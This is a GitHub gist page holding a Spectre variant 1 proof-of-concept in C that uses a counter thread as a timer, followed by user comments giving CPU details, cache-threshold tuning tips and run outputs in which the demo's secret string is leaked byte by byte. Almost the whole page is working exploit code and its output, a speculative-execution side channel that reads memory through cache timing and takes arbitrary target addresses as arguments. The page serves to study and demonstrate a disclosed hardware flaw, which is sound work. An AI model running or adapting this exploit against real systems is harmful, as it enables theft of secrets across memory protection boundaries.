Skip to content

Instantly share code, notes, and snippets.

@LionsAd
Forked from ErikAugust/spectre.c
Last active February 21, 2019 17:42
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save LionsAd/5116c9cd37f5805c797ed16fafbe93e4 to your computer and use it in GitHub Desktop.
Save LionsAd/5116c9cd37f5805c797ed16fafbe93e4 to your computer and use it in GitHub Desktop.
Spectre example code - using threads and showing detailed statistics
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <pthread.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
1,
2,
3,
4,
5,
6,
7,
8,
9,
10,
11,
12,
13,
14,
15,
16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];
char * secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
/********************************************************************
Thread code
********************************************************************/
int counter_thread_ended = 0;
uint32_t counter = 0;
void *counter_function(void *x_void_ptr)
{
while (!counter_thread_ended) {
counter++;
}
printf("counter thread finished\n");
return NULL;
}
/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (60) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
static uint64_t time[256];
static uint64_t num_time[256];
int tries, i, j, k, mix_i;
unsigned int junk = 0;
size_t training_x, x;
register uint32_t time1, time2;
volatile uint8_t * addr;
for (i = 0; i < 256; i++) {
results[i] = 0;
time[i] = 0;
num_time[i] = 0;
}
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
time1 = counter; /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = counter - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
time[mix_i] += time2;
num_time[mix_i]++;
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
for (i = 0; i < 256; i++) {
printf("Average time for %d: %f, hits: %d\n", i, (double) (time[i] / num_time[i]), results[i]);
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
int main(int argc,
const char * * argv) {
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
int i, score[2], len = 40;
uint8_t value[2];
// Setup the counter thread.
pthread_t counter_thread;
if (pthread_create(&counter_thread, NULL, counter_function, NULL)) {
fprintf(stderr, "Error creating thread\n");
return 1;
}
// End Setup
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void * * )( & malicious_x));
malicious_x -= (size_t) array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", & len);
}
printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
// Start: Exit counter thread
counter_thread_ended = 1;
if (pthread_join(counter_thread, NULL)) {
fprintf(stderr, "Error joining thread\n");
return 2;
}
// End: Exit counter thread
return (0);
}
@KeT4yn
Copy link

KeT4yn commented Jan 4, 2018

Oracle Virtual Box

processor	: 0
vendor_id	: AuthenticAMD
cpu family	: 18
model		: 1
model name	: AMD A8-3500M APU with Radeon(tm) HD Graphics
stepping	: 0
microcode	: 0x6000626
cpu MHz		: 1497.287
cache size	: 1024 KB
Unclear: 0x54=’T’ score=999 (second best: 0x52 score=991)
Unclear: 0xFA=’?’ score=996 (second best: 0x68 score=995)
Unclear: 0x65=’e’ score=993 (second best: 0xAE score=992)
Unclear: 0x20=’ ’ score=998 (second best: 0x54 score=991)
Unclear: 0x4D=’M’ score=993 (second best: 0x4E score=987)
Unclear: 0x61=’a’ score=993 (second best: 0xAD score=990)
Unclear: 0x54=’T’ score=992 (second best: 0x52 score=986)
Unclear: 0x69=’i’ score=997 (second best: 0xAD score=987)
Unclear: 0x63=’c’ score=995 (second best: 0xAE score=988)
Unclear: 0x20=’ ’ score=999 (second best: 0x54 score=988)
Unclear: 0x57=’W’ score=992 (second best: 0xFA score=990)
Unclear: 0xAE=’?’ score=995 (second best: 0xA7 score=992)
...

@C37H40O9
Copy link

C37H40O9 commented Jan 4, 2018

suse leap 42.3

vendor_id	: AuthenticAMD
cpu family	: 21
model		: 2
model name	: AMD FX(tm)-8350 Eight-Core Processor
stepping	: 0
microcode	: 0x600084f

works better with
#define CACHE_HIT_THRESHOLD (15)

Unclear: 0x54=’T’ score=991 (second best: 0xB4 score=990)
Unclear: 0x68=’h’ score=997 (second best: 0xB4 score=993)
Unclear: 0x65=’e’ score=996 (second best: 0xB4 score=995)
Unclear: 0xB4=’?’ score=994 (second best: 0x20 score=993)
Unclear: 0x4D=’M’ score=994 (second best: 0xB4 score=985)
Unclear: 0xB4=’?’ score=996 (second best: 0x61 score=988)
Unclear: 0x67=’g’ score=992 (second best: 0xB4 score=989)
Unclear: 0x69=’i’ score=999 (second best: 0xB4 score=992)
Unclear: 0x63=’c’ score=996 (second best: 0xB4 score=992)
Unclear: 0x20=’ ’ score=994 (second best: 0xB4 score=993)
Unclear: 0x57=’W’ score=996 (second best: 0xB4 score=994)
Unclear: 0x6F=’o’ score=998 (second best: 0xB4 score=988)
Unclear: 0x72=’r’ score=998 (second best: 0xB4 score=992)
Unclear: 0x64=’d’ score=996 (second best: 0xB4 score=991)
Unclear: 0x73=’s’ score=998 (second best: 0xB4 score=995)
Unclear: 0xB4=’?’ score=997 (second best: 0x20 score=995)
Unclear: 0x61=’a’ score=997 (second best: 0xB4 score=991)
Unclear: 0x72=’r’ score=996 (second best: 0xB4 score=993)
Unclear: 0x65=’e’ score=997 (second best: 0xB4 score=993)
Unclear: 0x20=’ ’ score=998 (second best: 0xB4 score=996)

@banderlog
Copy link

vendor_id : GenuineIntel
cpu family : 6
model : 23
model name : Genuine Intel(R) CPU U7300 @ 1.30GHz
stepping : 10
microcode : 0xa07

./spectre_thread
Reading 40 bytes:
Reading at malicious_x = 0xffffde10... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde11... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde12... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde13... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde14... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde15... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde16... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde17... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde18... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde19... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1a... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1b... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1c... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1d... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1e... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1f... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde20... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde21... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde22... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde23... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde24... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde25... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde26... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffde27... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde28... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde29... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffde2a... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde2b... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde2c... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde2d... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde2e... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde2f... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde30... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde31... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde32... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffde33... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffde34... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde35... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde36... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde37... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
counter thread finished

But non-threaded code reveals few (2-5) symbols.

@sergey-dryabzhinsky
Copy link

vendor_id       : AuthenticAMD
cpu family      : 21
model           : 19
model name      : AMD A8-6600K APU with Radeon(tm) HD Graphics
stepping        : 1
microcode       : 0x6001119

works better with
#define CACHE_HIT_THRESHOLD (20)

# ./spectre-thread
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfee08... Unclear: 0x54=’T’ score=984 (second best: 0xAE score=974)
Reading at malicious_x = 0xffffffffffdfee09... Unclear: 0x68=’h’ score=977 (second best: 0x9A score=951)
Reading at malicious_x = 0xffffffffffdfee0a... Unclear: 0x65=’e’ score=951 (second best: 0xAC score=935)
Reading at malicious_x = 0xffffffffffdfee0b... Unclear: 0x20=’ ’ score=952 (second best: 0xAE score=917)
Reading at malicious_x = 0xffffffffffdfee0c... Unclear: 0x4D=’M’ score=939 (second best: 0xAA score=888)
Reading at malicious_x = 0xffffffffffdfee0d... Unclear: 0x61=’a’ score=950 (second best: 0x50 score=880)
Reading at malicious_x = 0xffffffffffdfee0e... Unclear: 0x67=’g’ score=957 (second best: 0x50 score=887)
Reading at malicious_x = 0xffffffffffdfee0f... Unclear: 0x69=’i’ score=915 (second best: 0x4E score=847)
Reading at malicious_x = 0xffffffffffdfee10... Unclear: 0x63=’c’ score=927 (second best: 0x54 score=872)
Reading at malicious_x = 0xffffffffffdfee11... Unclear: 0x20=’ ’ score=938 (second best: 0x24 score=888)
Reading at malicious_x = 0xffffffffffdfee12... Unclear: 0x57=’W’ score=971 (second best: 0xA7 score=929)
Reading at malicious_x = 0xffffffffffdfee13... Unclear: 0x6F=’o’ score=957 (second best: 0xB9 score=884)
Reading at malicious_x = 0xffffffffffdfee14... Unclear: 0x72=’r’ score=959 (second best: 0x54 score=855)
Reading at malicious_x = 0xffffffffffdfee15... Unclear: 0x64=’d’ score=912 (second best: 0x4F score=894)
Reading at malicious_x = 0xffffffffffdfee16... Unclear: 0x73=’s’ score=988 (second best: 0x82 score=972)
Reading at malicious_x = 0xffffffffffdfee17... Unclear: 0x20=’ ’ score=972 (second best: 0xAE score=958)
Reading at malicious_x = 0xffffffffffdfee18... Unclear: 0x61=’a’ score=984 (second best: 0xF3 score=969)
Reading at malicious_x = 0xffffffffffdfee19... Unclear: 0x72=’r’ score=974 (second best: 0x29 score=936)
Reading at malicious_x = 0xffffffffffdfee1a... Unclear: 0x65=’e’ score=946 (second best: 0xAE score=931)
...

@neko-neko-nyan
Copy link

vendor_id       : AuthenticAMD
cpu family      : 22
model           : 48
model name      : AMD A4-7210 APU with AMD Radeon R3 Graphics
stepping        : 1
microcode       : 0x7030105

Compile: gcc spectre.c -o spectre, #define CACHE_HIT_THRESHOLD 70

Reading 40 bytes:                                                       
Reading at malicious_x = 0xffffffffffdfee48... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfee49... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfee4a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee4b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee4c... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfee4d... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee4e... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfee4f... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee50... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfee51... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee52... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfee53... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdfee54... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee55... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfee56... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee57... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee58... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee59... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee5a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee5b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee5c... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdfee5d... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfee5e... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdfee5f... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee60... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee61... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdfee62... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee63... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee64... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfee65... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee66... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdfee67... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee68... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee69... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee6a... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdfee6b... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee6c... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee6d... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfee6e... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee6f... Success: 0x2E=’.’ score=2

@Yay295
Copy link

Yay295 commented Jan 5, 2018

I can't get this to work. counter seems to be being cached, so I get the same value for the read before and after, and time2 is always 0.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment